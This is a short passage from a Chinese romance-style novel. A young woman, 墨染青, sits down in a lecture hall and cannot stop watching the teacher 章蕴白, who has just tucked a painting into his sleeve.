言毕,他将画收入袖中,转过身去。 墨染青站在原地,看着他的背影。 和画上一模一样。 衣袂飘飘,墨香淡淡。 “都坐好。”他说。 众人连忙找位置坐下。 墨染霜轻轻拉了拉她的袖子,小声说道:“阿青,快坐下。” 墨染青这才回过神,跟着她找了位置坐下。 高台上,章蕴白已经开始讲课,可墨染青一句也没有听进去。 她垂下眼眸,依旧不看他。 可余光里,全是那道青白的身影。